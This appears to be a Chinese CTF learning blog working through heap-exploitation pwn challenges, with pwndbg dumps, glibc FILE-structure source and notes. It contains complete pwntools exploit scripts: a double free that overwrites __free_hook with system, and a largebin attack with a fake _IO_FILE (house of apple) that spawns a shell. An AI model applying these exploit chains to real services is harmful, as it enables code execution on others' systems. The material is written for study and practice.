add(15, 0x20, p64(system))
dele(14)
#debug()
sh()但是有个问题是89行写12 原来的unsortedbin是0x160 写了之后应该变0x120 但是是0x100(可能为了对齐?? 但对做题没有影响
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50pwndbg> x/30gx 0x55cf1b802a50 # unsortedbin
0x55cf1b802a50: 0x0000000000000100 0x0000000000000161
0x55cf1b802a60: 0x00007fe2b9618ca0 0x00007fe2b9618ca0 # main_arena
0x55cf1b802a70: 0x0000000000000000 0x0000000000000000
0x55cf1b802a80: 0x0000000000000000 0x0000000000000031 # 放入tcache
0x55cf1b802a90: 0x0000000000000000 0x000055cf1b802010 # 指向最开始0x251的chunk(存放tcache结构体???)
0x55cf1b802aa0: 0x4141414141414141 0x4141414141414141
0x55cf1b802ab0: 0x0000000000000160 0x0000000000000100
------------------------------------------------------------------------
Allocated chunk | PREV_INUSE # 原chunk8 现chunk12
Addr: 0x55c221d28a50
Size: 0x41
Free chunk (unsortedbin)
Addr: 0x55c221d28a90
Size: 0x100
fd: 0x7ffbf434dca0
bk: 0x7ffbf434dca0
Allocated chunk
Addr: 0x55c221d28b90
Size: 0x00
pwndbg> x/50gx 0x55c221d28a50 # unsortedbin
0x55c221d28a50: 0x0000000000000100 0x0000000000000041 # 原chunk8
0x55c221d28a60: 0x4141414141414141 0x4141414141414141
0x55c221d28a70: 0x4141414141414141 0x4141414141414141
0x55c221d28a80: 0x4141414141414141 0x0000000000000031 # 原chunk9
0x55c221d28a90: 0x00007ffbf434f8e8 0x0000000000000100 # fd:free_hook 这里变成unsortedbin起始 但size0x100
0x55c221d28aa0: 0x00007ffbf434dca0 0x00007ffbf434dca0 # main_arean
0x55c221d28ab0: 0x0000000000000160 0x0000000000000100 # 原chunk10
0x55c221d28ac0: 0x0000000000000041 0x0000000000000000
0x55c221d28ad0: 0x0000000000000000 0x0000000000000000
0x55c221d28ae0: 0x0000000000000000 0x0000000000000000
0x55c221d28af0: 0x0000000000000000 0x0000000000000000
0x55c221d28b00: 0x0000000000000000 0x0000000000000000
0x55c221d28b10: 0x0000000000000000 0x0000000000000000
0x55c221d28b20: 0x0000000000000000 0x0000000000000000
0x55c221d28b30: 0x0000000000000000 0x0000000000000000
0x55c221d28b40: 0x0000000000000000 0x0000000000000000
0x55c221d28b50: 0x0000000000000000 0x0000000000000000
0x55c221d28b60: 0x0000000000000000 0x0000000000000000
0x55c221d28b70: 0x0000000000000000 0x0000000000000000
0x55c221d28b80: 0x0000000000000000 0x0000000000000000
0x55c221d28b90: 0x0000000000000000 0x0000000000000000
0x55c221d28ba0: 0x0000000000000000 0x0000000000000000
0x55c221d28bb0: 0x0000000000000120 0x0000000000000030
0x55c221d28bc0: 0x0000000000000043 0x0000000000000000
0x55c221d28bd0: 0x0000000000000000 0x0000000000000000官方题解用了fastbin 就可以double free了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67from pwn import *
io = process("./vuln")
elf = ELF("./vuln")
libc = elf.libc
context(arch='amd64', os='linux', log_level='debug')
def add(indx, size, content):
io.sendlineafter("choice:", b'1')
io.sendlineafter("Index: ", str(indx))
io.sendlineafter("Size: ", str(size))
io.sendlineafter("Content: ", content)
def show(indx):
io.sendlineafter("choice:", b'2')
io.sendlineafter('Index: ', str(indx))
def delete(indx):
io.sendlineafter('choice:', b'3')
io.sendlineafter("Index: ", str(indx))
add(0, 0xf8, b'a')
add(1, 0x68, b'a')
for i in range(2, 10):
add(i, 0xf8, b'a')
add(12, 0x68, b'a')
for i in range(3, 10):
delete(i)
delete(0)
delete(1)
# 合并chunk0 1 2
add(1, 0x68, b'a'*(0x60)+p64(0x170))
delete(2) # overlapping
add(0, 0x78, b'a') # 相当于add(0xf8) 只是分了两次 并产生了分割
add(2, 0x78, b'a')
show(1)
unsorted = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
libc_base = unsorted - 0x70 - libc.sym['__malloc_hook']
print(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
add(3, 0x68, b'a')
for i in range(4, 11): # 前2个是unsortedbin中的 剩下0x21进入smallbin 然后从topchunk中分配 不是从tcache中
add(i, 0x68, b'a')
for i in range(4, 11):
delete(i)
delete(3) # 进入fastbin
delete(12) # 进入fastbin
delete(1) # 是id=3的chunk double free
for i in range(4, 11):
add(i, 0x68, b'a')
add(1, 0x68, p64(free_hook))
add(3, 0x68, b'/bin/sh\x00')
add(13, 0x68, b'/bin/sh\x00')
add(12, 0x68, p64(system))
delete(3)
io.interactive()1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5603132f7000
Size: 0x251
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5603132f7250
Size: 0x271
fd: 0x7f69f8529ca0
bk: 0x7f69f8529ca0
-------------------------------------------------------
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5587433c9000
Size: 0x251
Allocated chunk | PREV_INUSE
Addr: 0x5587433c9250
Size: 0x81
Allocated chunk | PREV_INUSE
Addr: 0x5587433c92d0
Size: 0x81
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5587433c9350
Size: 0x171
fd: 0x7fbf2c9e7ca0
bk: 0x7fbf2c9e7ca0
--------------------------------------------------------
pwndbg> x/50gx 0x559a66a40250
0x559a66a40250: 0x0000000000000000 0x0000000000000081 #原chunk0_0xf8 现chunk0_0x78
0x559a66a40260: 0x00007f0266000a61 0x00007f02665f4f00
0x559a66a40270: 0x0000000000000000 0x0000000000000000
0x559a66a40280: 0x0000000000000000 0x0000000000000000
0x559a66a40290: 0x0000000000000000 0x0000000000000000
0x559a66a402a0: 0x0000000000000000 0x0000000000000000
0x559a66a402b0: 0x0000000000000000 0x0000000000000000
0x559a66a402c0: 0x0000000000000000 0x0000000000000000
0x559a66a402d0: 0x0000000000000000 0x0000000000000081 # 现chunk2_0x78
0x559a66a402e0: 0x00007f0266000a61 0x00007f02665f4ca0
0x559a66a402f0: 0x0000000000000000 0x0000000000000000
0x559a66a40300: 0x0000000000000000 0x0000000000000000
0x559a66a40310: 0x0000000000000000 0x0000000000000000
0x559a66a40320: 0x0000000000000000 0x0000000000000000
0x559a66a40330: 0x0000000000000000 0x0000000000000000
0x559a66a40340: 0x0000000000000000 0x0000000000000000
0x559a66a40350: 0x0000000000000100 0x0000000000000071 # 原chunk1_0x68 现chunk3
0x559a66a40360: 0x00007f0266000a61 0x00007f02665f4ca0
0x559a66a40370: 0x6161616161616161 0x6161616161616161
0x559a66a40380: 0x6161616161616161 0x6161616161616161
0x559a66a40390: 0x6161616161616161 0x6161616161616161
0x559a66a403a0: 0x6161616161616161 0x6161616161616161
0x559a66a403b0: 0x6161616161616161 0x6161616161616161
0x559a66a403c0: 0x0000000000000170 0x0000000000000071
0x559a66a403d0: 0x0000000000000000 0x0000559a66a40010
Elden Ring Ⅲ
largebin uaf 还是用不了给的附件 全绿
啊我懂了 可以用
--replace-needed
第一个参数写默认给的libc路径(可以用ldd查到)1
2
3
4
5
6
7
8
9
10
11(pwn) ╭─yech0@pwn ~
╰─$ ldd ./vuln
linux-vdso.so.1 (0x00007fff955d0000)
./2.32-0ubuntu3.2_amd64/libc.so.6 => not found
(pwn) ╭─yech0@pwn ~
╰─$ patchelf --set-interpreter /home/yech0/glibc-all-in-one/libs/2.32-0ubuntu3.2_amd64/ld-2.32.so --replace-needed ./2.32-0ubuntu3.2_amd64/libc.so.6 /home/yech0/glibc-all-in-one/libs/2.32-0ubuntu3.2_amd64/libc.so.6 vuln
(pwn) ╭─yech0@pwn ~
╰─$ ldd ./vuln
linux-vdso.so.1 (0x00007fffa2df2000)
/home/yech0/glibc-all-in-one/libs/2.32-0ubuntu3.2_amd64/libc.so.6 (0x00007f2d6f214000)
/home/yech0/glibc-all-in-one/libs/2.32-0ubuntu3.2_amd64/ld-2.32.so => /lib64/ld-linux-x86-64.so.2 (0x00007f2d6f409000)largebin相关的基础
Large Bin
- large bin中一共包括63个bin,每个bin中的chunk大小不一致,而是出于一定区间范围内。此外这63个bin被分成了6组,每组bin中的chunk之间的公差一致
Large chunk的微观结构
大于512(1024)字节的chunk称之为large chunk,large bin就是用于管理这些large chunk的
被释放进Large Bin中的chunk,除了以前经常见到的prev_size、size、fd、bk之外,还具有fd_nextsize和bk_nextsize:
fd_nextsize,bk_nextsize:只有chunk可先的时候才使用,不过用于较大的chunk(large chunk)
fd_nextsize指向前一个与当前chunk大小不同的第一个空闲块,不包含bin的头指针
bk_nextsize指向后一个与当前chunk大小不同的第一个空闲块,不包含bin的头指针
一般空闲的large chunk在fd的遍历顺序中,按照由大到小的顺序排列。这样可以避免在寻找合适chunk时挨个遍历Large Bin的插入顺序
在index相同的情况下:
1、按照大小,从大到小排序(小的链接large bin)
2、如果大小相同,按照free的时间排序
3、多个大小相同的堆块,只有首堆块的fd_nextsize和bk_nextsize会指向其他堆块,后面的堆块的fd_nextsize和bk_nextsize均为0
4、size最大的chunk的bk_nextsize指向最小的chunk,size最小的chunk的fd_nextsize指向最大的chunk
————————————————原文链接:https://blog.csdn.net/qq_41202237/article/details/112825556
FIFO:将先进入的chunk设置为链头,后面插入chunk在链头的后面,取出时取出链头的下一个chunk。
从largebin中取的时候从小的开始(不同size范围的链表中小的 同一链表中小的chunk)
https://pic3.zhimg.com/v2-013b4b50d1e03e09f6dab79bcfb97e52_r.jpg
也就是说 从largebin中size最小的链表的第二个chunk取 剩下的部分进入unsortedbin(unsortedbin也是FIFO 双向链表都是)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20>add(0, 0x700) # 0x700-0x730 largebin
>add(1, 0x600)
>add(2, 0x800) '''0x800-0x830 largebin'''
>add(3, 0x600)
>add(4, 0x800) '''0x800-0x830 largebin'''
>add(5, 0x600)
>add(6, 0x700) # 0x700-0x730 largebin
>add(7, 0x600)
>add(8, 0x700) # 0x700-0x730 largebin
>add(9, 0x600)
>add(10, 0x700) # 0x700-0x730 largebin
>add(11, 0x600)
>delete(0)
>delete(2)
>delete(4)
>delete(6)
>delete(8)
>delete(10)
>add(4, 0x500) # chunk6- large bin中一共包括63个bin,每个bin中的chunk大小不一致,而是出于一定区间范围内。此外这63个bin被分成了6组,每组bin中的chunk之间的公差一致
house of apple https://blog.csdn.net/qq_61670993/article/details/136233121
https://bbs.kanxue.com/thread-273832.htm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32>amd64:
>0x0:'_flags',
>0x8:'_IO_read_ptr',
>0x10:'_IO_read_end',
>0x18:'_IO_read_base',
>0x20:'_IO_write_base',
>0x28:'_IO_write_ptr',
>0x30:'_IO_write_end',
>0x38:'_IO_buf_base',
>0x40:'_IO_buf_end',
>0x48:'_IO_save_base',
>0x50:'_IO_backup_base',
>0x58:'_IO_save_end',
>0x60:'_markers',
>0x68:'_chain',
>0x70:'_fileno',
>0x74:'_flags2',
>0x78:'_old_offset',
>0x80:'_cur_column',
>0x82:'_vtable_offset',
>0x83:'_shortbuf',
>0x88:'_lock',
>0x90:'_offset',
>0x98:'_codecvt',
>0xa0:'_wide_data',
>0xa8:'_freeres_list',
>0xb0:'_freeres_buf',
>0xb8:'__pad5',
>0xc0:'_mode',
>0xc4:'_unused2',
>0xd8:'vtable'1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77from pwn import *
io = process("./vuln")
elf = ELF("./vuln")
libc = elf.libc
context(arch='amd64', os='linux', log_level='debug')
def add(indx, size):
io.sendlineafter(">", b'1')
io.sendlineafter("Index: ", str(indx))
io.sendlineafter("Size: ", str(size))
def delete(indx):
io.sendlineafter(">", b'2')
io.sendlineafter("Index: ", str(indx))
def edit(indx, content):
io.sendlineafter(">", b'3')
io.sendlineafter("Index: ", str(indx))
io.sendafter("Content: ", content)
def show(indx):
io.sendlineafter(">", b'4')
io.sendlineafter("Index: ", str(indx))
add(8, 0x508)
add(0, 0x510)
add(1, 0x500)
add(2, 0x520)
add(3, 0x500)
delete(2)
add(4, 0x530)
show(2)
largebin = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
libc_base = largebin - (0xb030-0xab90) - libc.sym['__malloc_hook']
print('lgbin='+hex(largebin))
print('base='+hex(libc_base))
system = libc_base + libc.sym['system']
edit(2, b'a'*(0x10-1)+b'b')
show(2) # 修改了chunk2的fd&bk 导致从largebin中脱离 此时chunk2变成了malloc状态
io.recvuntil(b'b')
chunk2 = u64(io.recv(6).ljust(8, b'\x00'))
print("chunk2="+hex(chunk2))
# edit(2, p64(largebin)*2) # 后面也改了 这不写也能通
_IO_all_list = libc_base + 0x1e45c0
print('_IO_all_list'+hex(_IO_all_list))
delete(0)
# largebin attack add(5)后将chunk0插入largebin中 导致IO_all_list位置被修改成chunk0的地址
payload = p64(largebin)*2
payload += p64(chunk2) + p64(_IO_all_list-0x20)
edit(2, payload)
add(5, 0x550)
chunk0 = chunk2 - 0xa30
print('chunk0='+hex(chunk0))
edit(8, b'a'*(0x500) + p32(0xfffff7f5) + b';sh\x00')# flag字段设置为0x68733bfffff7f5
fake_io_file = p64(0)*2 + p64(1) + p64(2) # _IO_write_base=1,_IO_write_ptr=2 (好像只要前<后就能打通
fake_io_file = fake_io_file.ljust(0xa0-0x10, b'\x00') + p64(chunk0+0x100) # _wide_data
fake_io_file = fake_io_file.ljust(0xc0-0x10, b'\x00') + p64(0xffffffffffffffff) # _mode=-1
fake_io_file = fake_io_file.ljust(0xd8-0x10, b'\x00') + p64(libc_base+0x1e4f80) # vtable改为_IO_wfile_jumps
fake_io_file = fake_io_file.ljust(0x100-0x10 + 0xe0, b'\x00') + p64(chunk0+0x200) # _wide_data->_wide_vtable改为可控地址
fake_io_file = fake_io_file.ljust(0x200-0x10, b'\x00') + p64(0)*13 + p64(system) # _wide_data->_wide_vtable->doallocate改为system
edit(0, fake_io_file)
# gdb.attach(io)
# pause()
io.sendlineafter(">", b'5')
io.interactive()1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94# delete(2)进入largebin中
Free chunk (largebins) | PREV_INUSE # chunk2
Addr: 0x55e7f0e171d0
Size: 0x530 (with flag bits: 0x531)
fd: 0x7f3d1e11c030 'largebin'
bk: 0x7f3d1e11c030 'largebin'
fd_nextsize: 0x55e7f0e171d0
bk_nextsize: 0x55e7f0e171d0
-------------------------------------------------------
# delete(0)进入unsortedbin 修改chunk2的结构
Free chunk (unsortedbin) | PREV_INUSE # chunk0
Addr: 0x55884f4957a0
Size: 0x520 (with flag bits: 0x521)
fd: 0x7f14523f2c00
bk: 0x7f14523f2c00
Allocated chunk
Addr: 0x55884f495cc0
Size: 0x510 (with flag bits: 0x510)
Free chunk (largebins) | PREV_INUSE # chunk2
Addr: 0x55884f4961d0
Size: 0x530 (with flag bits: 0x531)
fd: 0x7f14523f3030
bk: 0x7f14523f3030
fd_nextsize: 0x55884f4961d0
bk_nextsize: 0x7f14523f35a0 # 指向_IO_all_list-0x20
-------------------------------------------------------
# chunk0进入largebin
Free chunk (largebins) | PREV_INUSE # chunk0
Addr: 0x562b142f37a0
Size: 0x520 (with flag bits: 0x521)
fd: 0x7f6f7bb72030
bk: 0x562b142f41d0
fd_nextsize: 0x562b142f41d0
bk_nextsize: 0x7f6f7bb725a0
Allocated chunk
Addr: 0x562b142f3cc0
Size: 0x510 (with flag bits: 0x510)
Free chunk (largebins) | PREV_INUSE # chunk2
Addr: 0x562b142f41d0
Size: 0x530 (with flag bits: 0x531)
fd: 0x562b142f37a0
bk: 0x7f6f7bb72030
fd_nextsize: 0x562b142f41d0
bk_nextsize: 0x562b142f37a0
# 此时_IO_list_all写上了chunk0的地址
pwndbg> tele 0x7f90cf3655a0
00:0000│ 0x7f90cf3655a0 (_nl_global_locale+224) —▸ 0x7f90cf330e18 (_nl_C_name) ◂— 0x636d656d5f5f0043 /* 'C' */
01:0008│ 0x7f90cf3655a8 ◂— 0x0
... ↓ 2 skipped
04:0020│ 0x7f90cf3655c0 (_IO_list_all) —▸ 0x55d06cf147a0 ◂— 0x0
05:0028│ 0x7f90cf3655c8 ◂— 0x0
---------------------------------------------
# 写fake_IO_file
pwndbg> p *_IO_list_all
$1 = {
file = {
_flags = -2059,
_IO_read_ptr = 0x521 <error: Cannot access memory at address 0x521>,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x1 <error: Cannot access memory at address 0x1>,
_IO_write_ptr = 0x2 <error: Cannot access memory at address 0x2>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x0,
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x5640c53968a0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = "\377\377\377\377", '\000' <repeats 15 times>
},
vtable = 0x7f487ed49f80 <_IO_wfile_jumps>
}但是问题是我看hollk师傅源码解读是只有后释放的chunk_size(即chunk0)大于先进largebin的才会有largebin attack呀 但这的chunk0_size<chunk2_size,不懂为啥还能写:因为libc的版本不一样了 你看看how2heap就知道2.32的是需要malloc一个小的 具体的解释可能需要看看源码了 (by the way how2heap真的很有用
_mode的设置为-1的作用和flag那具体怎么写能getshell的:
glibc源码中IO_file结构体的位置在/libio/bits/types/struct_FILE.h1
2
3
4
5
6if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) // _mode write_ptr write_base字段的设置
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)//here to call the functionif内即为拉起宏调用所需条件
注意如果欲控制rdi获得shell,_flag需要为
b’ sh;’ + p64((~(2 | 0x8 | 0x800))&0xffffffffffffffff)~(2 | 0x8 | 0x800)结果就是0xFFFFF7F5
原文链接:https://blog.csdn.net/qq_62172019/article/details/130757223
1
2
3[*] Switching to interactive mode
sh: 1: \xf5\xf7\xff\xff: not found
$
官方WP应该是没用house of 但有个_mp结构体
week4
pwn
EldenRingFinal
啊懂了 因为是没有show函数的 所以需要利用_IO_2_1_stdout_或_IO_2_1_stderr_泄露libc 据说现在也比较常见了 然后就是一般来说是需要爆破的
// 2.23 struct _IO_FILE_plus { _IO_FILE file; const struct _IO_jump_t *vtable; }; struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; 由libc固定,不同的libc可能存在差异,但基本都是0xfbad0000 rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; // IO_list_all-->stderr(.chain)-->stdout(.chain)-->stdin int _fileno; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; /* This used to be _offset but it's too small. */ #define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; /* char* _save_gptr; char* _save_egptr; */ _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE };
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
```c
#include "libioP.h"
#include <string.h>
#include <limits.h>
int
_IO_puts (const char *str)
{
int result = EOF;
_IO_size_t len = strlen (str);
_IO_acquire_lock (_IO_stdout);
if ((_IO_vtable_offset (_IO_stdout) != 0
|| _IO_fwide (_IO_stdout, -1) == -1)
&& _IO_sputn (_IO_stdout, str, len) == len // _IO_sputn是一个宏,作用是调用_IO_2_1_stdout_中的vtable所指向的_xsputn
&& _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
result = MIN (INT_MAX, len + 1);
_IO_release_lock (_IO_stdout);
return result;
}
#ifdef weak_alias
weak_alias (_IO_puts, puts)
#endif
_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
const char *s = (const char *) data;
_IO_size_t to_do = n;
int must_flush = 0;
_IO_size_t count = 0;
if (n <= 0)
return 0;
/* This is an optimized implementation.
If the amount to be written straddles a block boundary
(or the filebuf is unbuffered), use sys_write directly. */
/* First figure out how much space is available in the buffer. */
if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
{
count = f->_IO_buf_end - f->_IO_write_ptr;
if (count >= n)
{
const char *p;
for (p = s + n; p > s; )
{
if (*--p == '\n')
{
count = p - s + 1;
must_flush = 1;
break;
}
}
}
}
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
/* Then fill the buffer. */
if (count > 0)
{
if (count > to_do)
count = to_do;
#ifdef _LIBC
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
#else
memcpy (f->_IO_write_ptr, s, count);
f->_IO_write_ptr += count;
#endif
s += count;
to_do -= count;
}
if (to_do + must_flush > 0)
{
_IO_size_t block_size, do_write;
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF) // 如果没有输出完,通过_IO_OVERFLOW刷新缓冲区或建立缓冲区
/* If nothing else has to be written we must not signal the
caller that everything has been written. */
return to_do == 0 ? EOF : n - to_do;
/* Try to maintain alignment: write a whole number of blocks. */
block_size = f->_IO_buf_end - f->_IO_buf_base;
do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);
if (do_write)
{
count = new_do_write (f, s, do_write);
to_do -= count;
if (count < do_write)
return n - to_do;
}
/* Now write out the remainder. Normally, this will fit in the
buffer, but it's somewhat messier for line-buffered files,
so we let _IO_default_xsputn handle the general case. */
if (to_do)
to_do -= _IO_default_xsputn (f, s+do_write, to_do);
}
return n - to_do;
}
// _IO_OVERFLOW默认对应的函数是_IO_new_file_overflow
int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
/* Allocate a buffer if needed. */
if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
/* Otherwise must be currently reading.
If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
logically slide the buffer forwards one block (by setting the
read pointers to all point at the beginning of the block). This
makes room for subsequent output.
Otherwise, set the read pointers to _IO_read_end (leaving that
alone, so it can continue to correspond to the external position). */
if (__glibc_unlikely (_IO_in_backup (f)))
{
size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
_IO_free_backup_area (f);
f->_IO_read_base -= MIN (nbackup,
f->_IO_read_base - f->_IO_buf_base);
f->_IO_read_ptr = f->_IO_read_base;
}
if (f->_IO_read_ptr == f->_IO_buf_end)
f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
f->_IO_write_ptr = f->_IO_read_ptr;
f->_IO_write_base = f->_IO_write_ptr;
f->_IO_write_end = f->_IO_buf_end;
f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;
f->_flags |= _IO_CURRENTLY_PUTTING;
if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
f->_IO_write_end = f->_IO_write_ptr;
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
if (_IO_do_flush (f) == EOF)
return EOF;
*f->_IO_write_ptr++ = ch;
if ((f->_flags & _IO_UNBUFFERED)
|| ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
if (_IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base) == EOF)
return EOF;
return (unsigned char) ch;
}
libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)
# define _IO_new_do_write _IO_do_write
// _IO_new_do_write调用new_do_write
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do);
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}![](\img\QQ截图20240504192519.png)1
2
3
4
5
6
7
8
9
10
11#define _IO_MAGIC 0xFBAD0000 /* Magic number */
......
#define _IO_NO_WRITES 8 /* Writing not allowd */
......
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
......
// 所以要使执行_IO_SYSWRITE,flag设置为0xfbad1800
// 同时,设置_IO_write_base指向想要泄露的位置,_IO_write_ptr指向泄露结束的地址(不需要一定设置指向结尾,程序中自带地址足够泄露libc从fastbin中重新malloc时需要size一样,而不是分割
unsortedbin中重新分配则会分割
pwndbg> heap pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols. This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details. '''pagestart & notestart Allocated chunk | PREV_INUSE Addr: 0x141c000 Size: 0x30 (with flag bits: 0x31) Allocated chunk | PREV_INUSE Addr: 0x141c030 Size: 0x30 (with flag bits: 0x31) Allocated chunk | PREV_INUSE Addr: 0x141c060 Size: 0x30 (with flag bits: 0x31) Allocated chunk | PREV_INUSE Addr: 0x141c090 Size: 0x30 (with flag bits: 0x31) ''' Free chunk (fastbins) | PREV_INUSE # free Addr: 0x141c0c0 Size: 0x30 (with flag bits: 0x31) fd: 0x141c0f0 Free chunk (fastbins) | PREV_INUSE # free Addr: 0x141c0f0 Size: 0x30 (with flag bits: 0x31) fd: 0x00 Allocated chunk | PREV_INUSE # note10 Addr: 0x141c120 Size: 0x30 (with flag bits: 0x31) Free chunk (fastbins) | PREV_INUSE # free Addr: 0x141c150 Size: 0x30 (with flag bits: 0x31) fd: 0x141c0c0 Allocated chunk | PREV_INUSE # note8 Addr: 0x141c180 Size: 0x30 (with flag bits: 0x31) Allocated chunk | PREV_INUSE # note9 Addr: 0x141c1b0 Size: 0x30 (with flag bits: 0x31) Allocated chunk | PREV_INUSE # note6 Addr: 0x141c1e0 Size: 0x30 (with flag bits: 0x31) 